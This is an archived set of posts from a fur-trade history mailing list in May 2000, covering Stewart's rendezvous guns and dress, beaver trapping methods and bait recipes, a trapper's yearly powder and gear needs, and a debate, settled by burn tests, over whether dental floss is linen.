Thanks to all on the list for teaching this old dog many new tricks in the short
time I've been here.

YMOS

Manbear (short for Man Who Has the Shadow of a Bear)

  Jerry & Barbara Zaslow wrote:

> Just a quick note.  To my knowledge, Stewart was not at Rendezvous (or in
> our country) in 1833.  You probably meant 1837.  Just a typo (I do it all
> the time.)
>
> Best Regards,
>
> Jerry (Meriwether) Zaslow #1488
> ________________________________________________________________________________
>
> At 11:12 AM 05/22/2000 -0400, you wrote:
> >According to the book "Scotsman in Buckskin"  Stewart had 2 Mantons with
> >him in 1833.
> >Something else I found interesting was what Stewart wore to the
> >Rendezvous that year, ..."Captain Stewart's appearance, when he had
> >finished his toilette, stunned all of them, even Campbell, into
> >momentary immobility.  Having secured his pack of clothing, unopened
> >since it was lashed shut in St. Louis, he donned certain items
> >therefrom, and appeared before his companions wearing a white leather
> >hunting jacket with innumerable pockets and a pair of snug trousers
> >known in Scotland as trews, made of the green, royal blue, red and
> >yellow of the Stewart hunting plaid, all fashioned by a London tailor.
> >On his head rested a Panama hat of the finest texture...."
> >And I thought I got looks when I first wore my Kilt to a rendezvous...G
> >
> >Alba go Brau
> >MacManbear
> >
> >Wynn & Gretchen Ormond wrote:
> >
> >> I know that English "Sporting Gents" attended various Rendezvous and
> >> hunted in the West , is there any record of the firearms these men
> >> used.?
> >>
> >> "While in London the Captain [Stewart] purchased three "Joe
> >> Mantons".... these guns were famous in their day for shooting
> >> ...."plum centre"....One of these guns....carrying 12 balls to the
> >> pound viz a ball nearly an inch in diameter..." ( My old friend AJ
> >> Miller written sometime after 1837)
> ><!doctype html public "-//w3c//dtd html 4.0 transitional//en">
> ><html>
> ><body bgcolor="#FFFFFF">
> ><font size=+1>According to the book "Scotsman in Buckskin"  Stewart
> >had 2 Mantons with him in 1833.</font>
> ><br><font size=+1>Something else I found interesting was what Stewart wore
> >to the Rendezvous that year, ..."Captain Stewart's appearance, when he
> >had finished his toilette, stunned all of them, even Campbell, into momentary
> >immobility.  Having secured his pack of clothing, unopened since it
> >was lashed shut in St. Louis, he donned certain items therefrom, and appeared
> >before his companions wearing a white leather hunting jacket with innumerable
> >pockets and a pair of snug trousers known in Scotland as trews, made of
> >the green, royal blue, red and yellow of the Stewart hunting plaid, all
> >fashioned by a London tailor.  On his head rested a Panama hat of
> >the finest texture...."</font>
> ><br><font size=+1>And I thought I got looks when I first wore my Kilt to
> >a rendezvous...G</font><font size=+1></font>
> ><p><font size=+1>Alba go Brau</font>
> ><br><font size=+1>MacManbear</font>
> ><p>Wynn & Gretchen Ormond wrote:
> ><blockquote TYPE=CITE><style></style>
> >I know that English "Sporting Gents"
> >attended various Rendezvous and hunted in the West , is there any record
> >of the firearms these men used.?
> ><p>"While in London the Captain [Stewart] purchased three "Joe Mantons"....
> >these guns were famous in their day for shooting ...."plum centre"....One
> >of these guns....carrying 12 balls to the pound viz a ball nearly an inch
> >in diameter..." ( My old friend AJ Miller written sometime after
> 1837)</blockquote>
> >
> ></body>
> ></html>
> >
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: [e-mail]
Subject: Re: MtMan-List: English sporters
Date: 24 May 2000 00:14:11 EDT

"Stewart had money from his mother"s estate as well as his miniscule army
pay, and he traveled widely before sailing to the United States in 1832.
Going on to St. Louis, Stewart became acquainted with several prominant fur
traders, including Kenneth MacKenzie, William L. Sublette, and Robert
Campbell.  With the latter, he journied to the Rockies in 1833."
The Rocky Mountain Journals of William Marshall Anderson

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From: [e-mail]
Subject: RE: MtMan-List: Re: Beaver trapping
Date: 24 May 2000 18:23:42 +0100

A fellow list member Dave Tippetts has been educating me on some of the
finer points of beaver trapping (Thanks Dave) and we have speculated on some
of the following:

What did they use to hoop up the pelts?  It would be a tremendous amount of
twine and you don't see alot coming in the ledgers.  My thoughts include
rawhide and maybe the intestines of the beaver themselves.  Haven't found
any docs on this but I haven't found and docs on anything else that was
used.

A large beaver weighs alot.  We know that camptenders did alot of the
skinning and hooping, but if I had alot of weight wouldn't it make sense  to
"field" dress the hide and then flesh it at camp?

The term regarding stick floating, does this only mean that the stick that
secured the trap to the ground would float once beaver headed for deep water
or was there also a method to "mark" your traps location by use of floating
sticks.

Osborne Russell list a recipe for lure.  Any other primary docs on lures?

Wyeth mentions trapping beaver during the summer months as he traveled.  I
believe James Audobon did as well although he was not a trapper.  How
prevalent was summer trapping of beaver?

What were the hides used for after the fur was shaved off?  Hide glue?


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From: don neighbors <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping
Date: 24 May 2000 16:06:40 -0500

try sinew for hooping the pelts, and dental floss works great, and it is linen.

[e-mail] wrote:

> A fellow list member Dave Tippetts has been educating me on some of the
> finer points of beaver trapping (Thanks Dave) and we have speculated on some
> of the following:
>
> What did they use to hoop up the pelts?  It would be a tremendous amount of
> twine and you don't see alot coming in the ledgers.  My thoughts include
> rawhide and maybe the intestines of the beaver themselves.  Haven't found
> any docs on this but I haven't found and docs on anything else that was
> used.
>
> A large beaver weighs alot.  We know that camptenders did alot of the
> skinning and hooping, but if I had alot of weight wouldn't it make sense  to
> "field" dress the hide and then flesh it at camp?
>
> The term regarding stick floating, does this only mean that the stick that
> secured the trap to the ground would float once beaver headed for deep water
> or was there also a method to "mark" your traps location by use of floating
> sticks.
>
> Osborne Russell list a recipe for lure.  Any other primary docs on lures?
>
> Wyeth mentions trapping beaver during the summer months as he traveled.  I
> believe James Audobon did as well although he was not a trapper.  How
> prevalent was summer trapping of beaver?
>
> What were the hides used for after the fur was shaved off?  Hide glue?
>
> ----------------------
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From: [e-mail]
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 24 May 2000 13:55:26 -0700



Really?  Is Dental Floss really Linen?  No kiddin'?  I always just assumed it
was some sort of space-age nylon or something.
Where can I  find out for sure?
Rick



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From: [e-mail]
Subject: Re: MtMan-List: Powder (resupply and yearly requirements)
Date: 24 May 2000 15:45:56 -0500

Washtahay-
    during a long walk after my truck broke down today, I finally had time to
consider this question.  I'm using Hawk's numbers as a starting point only
to show different perspectives on this, not because I think he is terribly
wrong.  Anyone who knows me knows I usually travel with enough ammo and
firepower to start a war--I admire Hawk's willingness to publicly admit he
would want enough ammo to fight from the Brook's Range to Peru!!!!  Given a
choice, I don't disagree with him--for today.
    I've gained the impression that in 1827 or so the situation was different.
 I don't think most folks travelled with that kind of armament and
supplies, so I did some number-crunching and cogitating on my little jaunt
today.  You can do a lot of that in 17 miles. . . .
    If I were stepping on a time machine for a year in the mountains ca 1830,
I would probably be basing my powder supply demand on numbers like this.
They are based on a .54 cal rifle, using a 110 grain charge.  The observant
amongst the readers will note that this is a charge equal to 1/2 of the
ball weight.  In addition to being a common period calculation, it is also
a charge that provides a roughly 2000 fps load.  It'll shoot through a
buff, it'll do for anything else I might run across.
10 shots hunting/week=520 rounds
10 shots skirmishing/biweekly=260 rounds
fresh load every day=365 rounds
1145 rounds @110 grains per=roughly 19 1/2 pounds powder
    Call it 21 pounds, as I would want to take a pound of priming powder.
Those numbers are based on me, and are admittedly what I see as a
worst-case scenario.  I would be comfortable with half that.
    For the non-time-traveling resident of the ca. 1830 Rocky Mountains, that
would probably be seen as overkill.  Realistically, I wonder if the average
wasn't closer to 3 rounds per week--that works out to about 2.5 pounds of
powder per year.  They were there to hunt beaver, not to shoot small game
and plink at rocks.  Meat came conveniently packaged as buffalo, elk, and
deer--a decent shot should be able to provide camp meat on such large
animals with less than 3 shots per week.  Reading the primary literature, I
have the impression that Indian fights weren't really that common.  Folks
worked hard to avoid them as risky, and a waste of time and money.
    Hawk has some good words about other equipment as well:
>I would have took 2 to 4 ----25lb kegs of powder---75 to 150 lb of lead
>and 10 yds of patching---25 lb of tow for cleaning
    I'd probably go with about two yards of patching, and use the scraps for
cleaning the gun, supplemented by buff hair on a tow worm (works right
well).  From what I've read of early trade lists, I think patching was
probably often the latest shirt that wore out.    Scrap cloth or fiber on a
tow worm for cleaning, again supplemented by buff hair.

>would also need a bit of salt----I would guess about 100 lbs would last
>for curing hides and meat
    Personally, I would take maybe three pounds of salt, and that for "table"
use.  I don't salt hides now, I wouldn't then.  I don't think the practice
was common in the field either.  Large quantities of salt weren't mentioned
in the trade lists I have seen.
    I prefer to dry meat without salt.  I feel it makes a better staple that
way.

>I would also guess that you would need 5 yds
>of cloth to make char for fire starting
    I'd use scrap cloth--old cleaning patches work well--or punk wood.  I'm
too cheap to buy cloth for such a purpose, and it wouldn't surprise me to
discover the practice was the same "way back when"

>and about 2 grose of rifle flints---
    I'd be taking about a gross, along with a spare lock.  I bet my
hypothetical pioneer would have maybe 2 dozen flints.  There are an awful
lot of mentions of misfires and klatches in the old journals.

>a couple of good woll blankets---
    or a blanket and a robe.

>a half dozen good skinner  knives ---
    Here's where you lose me for a minute Hawk.  Six knives?  Wait a minute.
I'm sitting here at the keyboard in street clothes, and I have three on my
person.  A quick check of my hunting bag turns up two more, and there are a
pair on the belt in my parfleche.  You are right, sorry about that.
    The minimal mountain man may have had two, or only one.  I think it was in
Meek's autobiography where he used the example of a man losing his knife to
make a point, and I can think of at least two other mentions in the
literature of people losing thier "only" knife.

>a good ax and tomahawk--- a good bow saw---
    If you are going to trap, you might want to add a shovel and a pick.
    I don't know how common the carrying of a saw was back then, I've never
seen mention of one outside a fort--and then only one with a carpenter's
shop.

>a half dozen #4 double  spring traps---a half dozen # 1 1/2  single spring
traps--
    I'd be for upping that to a dozen #4s and a dozen #1 1/2s, this is the
same trap load as I ran for many years.
    In the field in the far west, if I recall correctly the common practice
was to carry 6 beaver traps per trapper.

>least 2 or more fire steels.
    At least.  I had a poorly tempered Warranted Bright Oval break one time,
had I not had a spare I would have had a cold night of it (No firelock with
me that trip)

>now you have a basic load without any creature conforts---total up the
>weight-----comes to over 400 lbs without creature comforts---or riggin
>for the horses or mules---each pack animal could carry about 125 lb
>easily---means at least 3 pack animals
    My load for this time travel vacation (with a robe and blanket for
bedding) would run about 180 pounds, and I would either work to reduce it
to cut myself to one pack animal, or travel with two lightly loaded pack
animals.
    My minimal mountain man would have a load of about 90 pounds--less than
one animal load.
    Either way, when consumables are figured in, we are looking at two
pack-loads of gear.

LongWalker c. du B.


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From: [e-mail]
Subject: RE: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 24 May 2000 15:28:10 -0600

Rick,

Never tried this. I, too, always thought it was nylon. But, hold it to a
flame, if it melts, it's nylon or some sort of plastic. If it doesn't, it's
something else. Hard to tell what, though.

I'll have to try this one when I get home.

Lou Sickler
Colorado Territory

> -----Original Message-----
> From:    [e-mail] [SMTP:[e-mail]]
> Sent:    Wednesday, May 24, 2000 2:55 PM
> To:    [e-mail]
> Subject:    Re: MtMan-List: Re: Beaver trapping/Dental Floss?
>
>
>
> Really?  Is Dental Floss really Linen?  No kiddin'?  I always just assumed
> it
> was some sort of space-age nylon or something.
> Where can I  find out for sure?
> Rick
>
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html

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From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 24 May 2000 17:45:59 -0400

> Really?  Is Dental Floss really Linen?  No kiddin'?  I always just assumed
it
> was some sort of space-age nylon or something.
> Where can I  find out for sure?


Burn it, if it melts it is nylon, if it just burns into oblivion.. It is
linen, or cotton...
D
"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"




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From: [e-mail]
Subject: Re: MtMan-List: Re: Beaver trapping
Date: 24 May 2000 18:36:18 EDT

[e-mail] writes:

> Osborne Russell list a recipe for lure.  Any other primary docs on lures?>>

The Lewis & Clark juornals also list a recipe, but I can't locate it now. I
and perhaps others on the list would also be interested in the recipes you
find. How about sharing the Russell recipe now. Thanks.

YMOS
Ghosting Wolf

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From: "John C. Funk, Jr." <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 24 May 2000 16:47:03 -0700

Dental floss is made with a synthetic....not "linen".  Burn it....it
melts....and stinks....like nylon.   Linen in that thickness wouldn't have
the tensile strength even if it was waxed.

John funk


----- Original Message -----
Sent: Wednesday, May 24, 2000 2:28 PM


> Rick,
>
> Never tried this. I, too, always thought it was nylon. But, hold it to a
> flame, if it melts, it's nylon or some sort of plastic. If it doesn't,
it's
> something else. Hard to tell what, though.
>
> I'll have to try this one when I get home.
>
> Lou Sickler
> Colorado Territory
>
> > -----Original Message-----
> > From: [e-mail] [SMTP:[e-mail]]
> > Sent: Wednesday, May 24, 2000 2:55 PM
> > To: [e-mail]
> > Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
> >
> >
> >
> > Really?  Is Dental Floss really Linen?  No kiddin'?  I always just
assumed
> > it
> > was some sort of space-age nylon or something.
> > Where can I  find out for sure?
> > Rick
> >
> >
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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From: "Chance Tiffie" <[e-mail]>
Subject: RE: MtMan-List: Re: Beaver trapping
Date: 24 May 2000 19:05:11 PDT

Excellent questions!!
"Drewyer's" recipe for bait, 1806.
"To prepare beaver bait, the castor or barkstone is first gently pressed
from the bladder-like bag which contains it, into a phial of four ounces,
with a large mouth. Five or six of these stones are thus taken, to which
must be added nutmeg, 12 or 15 cloves, and 30 grains of cinnamon, finely
pulverised and stirred together, with as much ardent spirits as will reduce
the whole to the consistency of mustard."
I have used this particular batch with some success.
     As for hooping beaver, I have used rawhide, without even removing the
hair. I don't think twine should be dismissed though, as one piece could be
used over and over again.
      I have always assumed the "floatstick" was seperate from the stake,
and was attached to the trap like a bobber. I have set traps on water here
in Oklahoma, that rose over night, and finding your set would be next to
impossible without a "floatstick."
    Seems we obsess over the quality of our hides these days, how well they
are skinned, and how well they are hooped. I can't help but think that these
men were after quantity. If they could sell a summer plew, then they would
trap in the summer.  Provided some were over-achievers.
      Buyers were after the hair, I don't think much time was invested in a
flawless skinning, with ears and nostrils intact.  Some of the beaver I have
hooped didn't turn out quite round, but they still weighed the same as a
perfectly round hide.
      If I had my choice I would skin just as soon as I pulled one out of
the water, no point carrying them heavy suckers. It would be a hack and yank
job though; let the camp keepers clean them up.  A person that didn't want
to be caught out much after daylight, or the fear of leaving to many
carcass's laying around to attract unwanted attention, might justify
carrying them out.

Cliff Tiffie
PO Box 5089
Durant, OK
74702
580-924-4187
---------------------
Aux Aliments de Pays!

________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com


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From: "Ratcliff" <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 24 May 2000 21:38:15 -0500

If you want some real linen cordage, from thread to thick twine check =
out Barbour's.  I recently posted some information about the subject.  =
See the sites below for information and sources. =20
Lanney Ratcliff

Check out Barbours and Leather Factory below:
=20
http://leatherfactory.com/
http://www.barbour-threads.com/profile.html

----- Original Message -----=20
Sent: Wednesday, May 24, 2000 3:55 PM


>=20
>=20
> Really?  Is Dental Floss really Linen?  No kiddin'?  I always just =
assumed it
> was some sort of space-age nylon or something.
> Where can I  find out for sure?
> Rick
>=20
>=20
>=20
> ----------------------
> hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html


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From: "Ron Chamberlain" <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping
Date: 24 May 2000 22:06:14 -0600

I read somewhere, Book of Buckskinning series maybe(?), that wangs made from
green hides were used to to hoop beaver pelts with. They surely had a
regular supply of them due to hunting. I will try and find it and any
documentation on it.

Ron




A fellow list member Dave Tippetts has been educating me on some of the
finer points of beaver trapping (Thanks Dave) and we have speculated on some
of the following:

What did they use to hoop up the pelts?  It would be a tremendous amount of
twine and you don't see alot coming in the ledgers.  My thoughts include
rawhide and maybe the intestines of the beaver themselves.  Haven't found
any docs on this but I haven't found and docs on anything else that was
used.

A large beaver weighs alot.  We know that camptenders did alot of the
skinning and hooping, but if I had alot of weight wouldn't it make sense  to
"field" dress the hide and then flesh it at camp?

The term regarding stick floating, does this only mean that the stick that
secured the trap to the ground would float once beaver headed for deep water
or was there also a method to "mark" your traps location by use of floating
sticks.

Osborne Russell list a recipe for lure.  Any other primary docs on lures?

Wyeth mentions trapping beaver during the summer months as he traveled.  I
believe James Audobon did as well although he was not a trapper.  How
prevalent was summer trapping of beaver?

What were the hides used for after the fur was shaved off?  Hide glue?


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From: "Ron Chamberlain" <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 24 May 2000 22:20:32 -0600

Taken from http://www.dentaldigest.com/perio/floss.html
Ain't technology wonderful!

COLGATE« TOTAL« Colgate
Description: A state-of-the-art, low-friction, Teflon« fiber ......

Glide« Floss W.L. Gore & Associates
Description: Made from expanded PTFE (polytetrafluorethylene), ......

JOHNSON & JOHNSON REACH« FLOSS Johnson & Johnson Description: Nylon dental
floss ......

JOHNSON & JOHNSON REACH« FLOSS EASY SLIDE« Johnson & Johnson
Description: Made of patented PTFE material ....

PHB PERIO-FLOSS PHB, Inc.
Description: A USA-made acrylic yarn floss .....

WISDOM DENTAL FLOSS Wisdom Toothbrush Co.
Description: Features 840 denier nylon strands. .....

Wher'd you come up with linen???

Ron



>
>
> Really?  Is Dental Floss really Linen?  No kiddin'?  I always just assumed
it
> was some sort of space-age nylon or something.
> Where can I  find out for sure?
> Rick




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From: don neighbors <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 25 May 2000 08:51:41 -0500

I was told that by an old  buckskinner who was a dentist.  I use it to sew with
alot.

[e-mail] wrote:

> Really?  Is Dental Floss really Linen?  No kiddin'?  I always just assumed it
> was some sort of space-age nylon or something.
> Where can I  find out for sure?
> Rick
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: don neighbors <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 25 May 2000 08:53:53 -0500

wrong. it melts because of the wax in it, and it is
sterile.....................

"John C. Funk, Jr." wrote:

> Dental floss is made with a synthetic....not "linen".  Burn it....it
> melts....and stinks....like nylon.   Linen in that thickness wouldn't have
> the tensile strength even if it was waxed.
>
> John funk
>
> ----- Original Message -----
> From: <[e-mail]>
> To: <[e-mail]>
> Sent: Wednesday, May 24, 2000 2:28 PM
> Subject: RE: MtMan-List: Re: Beaver trapping/Dental Floss?
>
> > Rick,
> >
> > Never tried this. I, too, always thought it was nylon. But, hold it to a
> > flame, if it melts, it's nylon or some sort of plastic. If it doesn't,
> it's
> > something else. Hard to tell what, though.
> >
> > I'll have to try this one when I get home.
> >
> > Lou Sickler
> > Colorado Territory
> >
> > > -----Original Message-----
> > > From: [e-mail] [SMTP:[e-mail]]
> > > Sent: Wednesday, May 24, 2000 2:55 PM
> > > To: [e-mail]
> > > Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
> > >
> > >
> > >
> > > Really?  Is Dental Floss really Linen?  No kiddin'?  I always just
> assumed
> > > it
> > > was some sort of space-age nylon or something.
> > > Where can I  find out for sure?
> > > Rick
> > >
> > >
> > >
> > > ----------------------
> > > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
> >
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: "northwoods" <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping
Date: 25 May 2000 07:54:34 -0500


-----Original Message-----


>>A fellow list member Dave Tippetts has been educating me on some of the
finer points of beaver trapping (Thanks Dave) and we have speculated on some
of the following:>>

Here is some additional information from the book Adventures in Mexico & the
Rocky Mountains, published in 1848, by Ruxton:
Having determined the locality of his trap ground, he starts to the
mountains, sometimes alone, sometimes with three or four in company, as soon
as breaking up the ice allows him to commence operations. Arrived on his
hunting grounds, he follows the creeks and streams, all the while keeping a
sharp lookout for "sign". If he sees a prostrate cottonwood tree he examines
it to see if it be the work of the beaver-whether "thrown" for the purpose
of food or to dam the stream. The track of the beaver on the mud or the sand
is also examined; and if the sign be fresh, he sets his traps in the run of
the animal, hiding it under water, and attaching it by a stout chain to a
picket driven in the bank, or to a bush or a tree. A "float stick" is made
fast to the trap by a cord a few feet long, which, if the animal carry away
the trap, floats on the water and points out its position. The trap is
baited with "medicine", an oily substance obtained from a gland in the
scrotum of the beaver, but distinct of the testes. A stick is dipped in this
and planted over the trap; and the beaver attracted by the smell, and
wishing a close inspection, very foolishly puts his leg in the trap, and is
a "gone beaver."
When a lodge is discovered, the trap is set at the edge of the dam, at the
point where the animal passes from deep water to shallow, and always under
water. Early in the morning the hunter mounts his mules and examines his
traps. The captured animals are skinned, and the tails, which are a great
dainty, carefully packed into camp. The skin is stretched over a hoop or
framework of osier twigs, and is allowed to dry, the flesh and fatty
substance being scraped (grained). When dry, it is folded into a square
sheet, the fur turned inward, and the bundle, containing about ten to twenty
skins, tightly pressed and corded, is ready for transportation.
During the hunt, regardless of Indian vicinity, the fearless trapper wanders
far and near in search of "sign". His nerves must ever be in a state of
tension, and his mind ever present at his call. His eagle eyes sweep around
the country, and in an instance detects any foreign appearance. A turned
leaf, a blade of grass pressed down, the uneasiness of wild animals, the
flight of birds, are all paragraphs to him written in natures legible hand
and the plainest language. All the wits of the subtle savage are called into
play to gain an advantage over the wily woodsman; but with the natural
instinct of the primitive man, the white hunter has the advantage of a
civilized mind, and, thus provided, seldom fails to outwit, under equal
advantage, the cunning savage.
The trappers of the Rocky Mountains belong to a "genus" more approximating
to the primitive savage than perhaps any other class of civilized man. There
lives being spent in the remote wilderness of the mountains, with no other
companion than nature herself, there habits and characters assume a most
singular cast of simplicity mingled with ferocity, appearing to take there
coloring from the scenes and object around them. Knowing no wants save those
of nature, there sole care is to procure sufficient food to support life,
and the necessary clothing to protect them from the rigorous climate. This,
with the assistance of there rifles, they are generally able to effect, but
sometimes at the expense of great peril and hardship. When engaged in there
avocation, the natural instinct of primitive man is ever alive, for the
purpose of guarding against danger and the provision of necessary food.
Keen observers of nature, they rival the beasts of prey in discovering the
haunts of wild game, and in there skill and cunning in capturing it.
Constantly exposed to perils of all kinds, they become callous to any
feeling of danger, and destroy human as well as animal life with as little
scruple and as freely as they expose there own. Of laws, human or divine,
they neither now or care to know. There wish is there law, and to attain it
they do not scruple as to ways and means. Firm friends and bitter enemies,
with them it is "a word and a blow" and the blow often first. They may have
good qualities, but they are those of the animal; and people fond of giving
hard names call them revengeful, bloodthirsty, drunkards (when the
wherewithal can be had), gamblers, regardless of the laws, in fact, white
Indians. However, there are exceptions, and I have met honest mountain men.
There animal qualities, however, are undeniable. Strong, active, hardy as
bears, expert in the use of there weapons, they are just what uncivilized
man might be supposed in a brute state, depending upon his instinct for the
support of life. Not a hole or corner in the vast wilderness of the "far
west" has not been ransacked by these hardy men.From the Mississippi to the
mouth of the Colorado west, from the frozen regions of the north to the Gila
in Mexico, the beaver trapper has set his traps in every river and stream.
All this vast country, but for the daring enterprise of these men, would be
terra incognito to geographers, as indeed a great portion is still, but
there is not an acre that has not been passed and repassed by the trappers
on ther perilous excursions, The mountians and streams still retain the
names assigned to them by the rude hunters; and alone these are the hardy
pioneers who pave the way for the settlement of the western country.

Sorry for getting carried away, I had the book open and apparently my typing
skills are improving steadily. I find Ruxtons descriptions to not be error
free, but entertaining, and enlightening in much of the time.

T. Clark



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From: don neighbors <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 25 May 2000 09:07:04 -0500

wrong.......nice try..........

Ron Chamberlain wrote:

> Taken from http://www.dentaldigest.com/perio/floss.html
> Ain't technology wonderful!
>
> COLGATE=AE TOTAL=AE Colgate
> Description: A state-of-the-art, low-friction, Teflon=AE fiber ......
>
> Glide=AE Floss W.L. Gore & Associates
> Description: Made from expanded PTFE (polytetrafluorethylene), ......
>
> JOHNSON & JOHNSON REACH=AE FLOSS Johnson & Johnson Description: Nylon d=
ental
> floss ......
>
> JOHNSON & JOHNSON REACH=AE FLOSS EASY SLIDE=AE Johnson & Johnson
> Description: Made of patented PTFE material ....
>
> PHB PERIO-FLOSS PHB, Inc.
> Description: A USA-made acrylic yarn floss .....
>
> WISDOM DENTAL FLOSS Wisdom Toothbrush Co.
> Description: Features 840 denier nylon strands. .....
>
> Wher'd you come up with linen???
>
> Ron
>
> >
> >
> > Really?  Is Dental Floss really Linen?  No kiddin'?  I always just as=
sumed
> it
> > was some sort of space-age nylon or something.
> > Where can I  find out for sure?
> > Rick
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: "Paul W. Jones" <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 25 May 2000 08:19:26 -0700

Don:

Why is the reponse wrong?  Are you still maintaining that dental floss is
made from a natural fiber?  Some perhaps, although I have not found it.  =
Was
at the pharmacy yesterday and stopped and perused the dental floss.  Each
and every brand on the shelf listed synthetic materials.

Could you explain, or do I misunderstand your response.

Regards,  Paul
----- Original Message -----
Sent: Thursday, May 25, 2000 7:07 AM


wrong.......nice try..........

Ron Chamberlain wrote:

> Taken from http://www.dentaldigest.com/perio/floss.html
> Ain't technology wonderful!
>
> COLGATE=AE TOTAL=AE Colgate
> Description: A state-of-the-art, low-friction, Teflon=AE fiber ......
>
> Glide=AE Floss W.L. Gore & Associates
> Description: Made from expanded PTFE (polytetrafluorethylene), ......
>
> JOHNSON & JOHNSON REACH=AE FLOSS Johnson & Johnson Description: Nylon d=
ental
> floss ......
>
> JOHNSON & JOHNSON REACH=AE FLOSS EASY SLIDE=AE Johnson & Johnson
> Description: Made of patented PTFE material ....
>
> PHB PERIO-FLOSS PHB, Inc.
> Description: A USA-made acrylic yarn floss .....
>
> WISDOM DENTAL FLOSS Wisdom Toothbrush Co.
> Description: Features 840 denier nylon strands. .....
>
> Wher'd you come up with linen???
>
> Ron
>
> >
> >
> > Really?  Is Dental Floss really Linen?  No kiddin'?  I always just
assumed
> it
> > was some sort of space-age nylon or something.
> > Where can I  find out for sure?
> > Rick
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html


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From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 25 May 2000 09:19:57 -0400

> wrong. it melts because of the wax in it, and it is
> sterile.....................

I melted some of the 3 types we have here.. All three melted into a hard
nylon ball, not a wax type melt.  And as an earlier post from Ron pointed
out, the manufacturers says it is made from nylon, PTFE, acrylic yarn &
teflon fiber of all things!... If you believe the word of an "Old
Buckskinner" on all subjects.. I gots some beach property fer ya!<G>
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"




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From: "John C. Funk, Jr." <[e-mail]>
Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
Date: 25 May 2000 07:39:19 -0700

The wax "burns"; the synthetic melts!


----- Original Message -----
Sent: Thursday, May 25, 2000 6:53 AM


> wrong. it melts because of the wax in it, and it is
> sterile.....................
>
> "John C. Funk, Jr." wrote:
>
> > Dental floss is made with a synthetic....not "linen".  Burn it....it
> > melts....and stinks....like nylon.   Linen in that thickness wouldn't
have
> > the tensile strength even if it was waxed.
> >
> > John funk
> >
> > ----- Original Message -----
> > From: <[e-mail]>
> > To: <[e-mail]>
> > Sent: Wednesday, May 24, 2000 2:28 PM
> > Subject: RE: MtMan-List: Re: Beaver trapping/Dental Floss?
> >
> > > Rick,
> > >
> > > Never tried this. I, too, always thought it was nylon. But, hold it to
a
> > > flame, if it melts, it's nylon or some sort of plastic. If it doesn't,
> > it's
> > > something else. Hard to tell what, though.
> > >
> > > I'll have to try this one when I get home.
> > >
> > > Lou Sickler
> > > Colorado Territory
> > >
> > > > -----Original Message-----
> > > > From: [e-mail] [SMTP:[e-mail]]
> > > > Sent: Wednesday, May 24, 2000 2:55 PM
> > > > To: [e-mail]
> > > > Subject: Re: MtMan-List: Re: Beaver trapping/Dental Floss?
> > > >
> > > >
> > > >
> > > > Really?  Is Dental Floss really Linen?  No kiddin'?  I always just
> > assumed
> > > > it
> > > > was some sort of space-age nylon or something.
> > > > Where can I  find out for sure?
> > > > Rick
> > > >
> > > >
> > > >
> > > > ----------------------
> > > > hist_text list info:
http://www.xmission.com/~drudy/mtman/maillist.html
> > >
> > > ----------------------
> > > hist_text list info:
http://www.xmission.com/~drudy/mtman/maillist.html
> > >
> >
> > ----------------------
> > hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>
>
> ----------------------
> hist_text list info: http://www.xmission.com/~drudy/mtman/maillist.html
>


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From: [e-mail]
Subject: Re: MtMan-List: lymes disease
Date: 25 May 2000 11:07:43 EDT

There is a vaccine for lymes disease now.  Ask your Doctor.

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From: [e-mail]
Subject: Re: MtMan-List: Re:Home Experiment Results: Dental Floss.
Date: 25 May 2000 09:00:44 -0700



I lit a match and held the floss above the flame.  The stuff seared and dripped
off like nylon parachute cord does when you fire-whip the ends.  There was a
blob of melted material after I blew out the end.  Anyhow guys, the stuff in my
medicine cabinet sure wasn't anything like linen, and probably won't find its'
way to my possibles bag.



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From: "Frank Fusco" <[e-mail]>
Subject: MtMan-List: dental floss
Date: 25 May 2000 11:17:22 -0500

    I had always  believed dental floss was simply waxed cotton.  In the
past I have used it as emergency repair thread on my period clothes.
    With the discussion I tested a piece and it melted just like nylon. I am
sure it is synthetic, probably nylon but certainly not a natural fiber.
Frank


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From: [e-mail]
Subject: Re: MtMan-List: Powder (resupply and yearly requirements)
Date: 25 May 2000 12:43:12 -0700

longwalker

